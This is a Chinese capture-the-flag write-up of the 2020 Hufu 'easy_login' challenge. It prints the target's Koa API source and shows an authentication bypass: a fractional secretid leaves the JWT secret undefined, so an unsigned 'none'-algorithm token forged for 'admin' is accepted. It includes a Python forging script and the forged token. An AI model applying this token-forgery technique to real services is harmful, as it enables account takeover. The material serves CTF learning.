0%

2020 虎符网络安全大赛 easy_login

先扫一下目录

在这里插入图片描述

首先这是一个koa框架,所以我们先熟悉一下这个框架的目录结构

在这里插入图片描述
然后访问/controllers/api.js得到逻辑代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
const crypto = require('crypto');
const fs = require('fs')
const jwt = require('jsonwebtoken')

const APIError = require('../rest').APIError;

module.exports = {
'POST /api/register': async (ctx, next) => {
const {username, password} = ctx.request.body;

if(!username || username === 'admin'){
throw new APIError('register error', 'wrong username');
}

if(global.secrets.length > 100000) {
global.secrets = [];
}

const secret = crypto.randomBytes(18).toString('hex');
const secretid = global.secrets.length;
global.secrets.push(secret)

const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});

ctx.rest({
token: token
});

await next();
},

'POST /api/login': async (ctx, next) => {
const {username, password} = ctx.request.body;

if(!username || !password) {
throw new APIError('login error', 'username or password is necessary');
}

const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;

const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;

console.log(sid)

if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
throw new APIError('login error', 'no such secret id');
}

const secret = global.secrets[sid];

const user = jwt.verify(token, secret, {algorithm: 'HS256'});

const status = username === user.username && password === user.password;

if(status) {
ctx.session.username = username;
}

ctx.rest({
status
});

await next();
},

'GET /api/flag': async (ctx, next) => {
if(ctx.session.username !== 'admin'){
throw new APIError('permission error', 'permission denied');
}

const flag = fs.readFileSync('/flag').toString();
ctx.rest({
flag
});

await next();
},

'GET /api/logout': async (ctx, next) => {
ctx.session.username = null;
ctx.rest({
status: true
})
await next();
}
};

这儿的大致意思就是注册登录,并把信息保存在jwt中,一般jwt是可以伪造的,但是这儿密码我们根本不可能爆破出来

所以只能寻求其它的方法,我们注意到,我们每一次登录,都会生成密匙并插入到列表当中,然后登录的时候根据sid来选择对应的密匙
值得注意的是,我们这儿的sid可控,假如我们令sid=0.1会怎么样呢?
这个就是nodejwt漏洞
jwt secret为空时 jsonwebtoken会采用algorithm none进行解密



解题步骤

登录的时候会返回sses:aok,里面包含我们的登录信息,这个我们可以更改(改登录名)

在这里插入图片描述我们先解密一下注册时返回的jwt
链接

在这里插入图片描述

  • 然后我们进行伪造jwt

    1
    2
    3
    import jwt
    token = jwt.encode({"secretid":0.1,"username": "admin","password": "xxx","iat": 1587287370},algorithm="none",key="").decode(encoding='utf-8')
    print(token)

    在这里插入图片描述eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJzZWNyZXRpZCI6MC4xLCJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiJ4eHgiLCJpYXQiOjE1ODcyODczNzB9.

    在这里插入图片描述
    用户名,密码,jwt必须相对应
    然后记住返回的页面中的sses:aoksses:aok.sig

  • 进入flag页面
    在这里插入图片描述这两个值都进行替换(登录页面返回的值),就能得到flag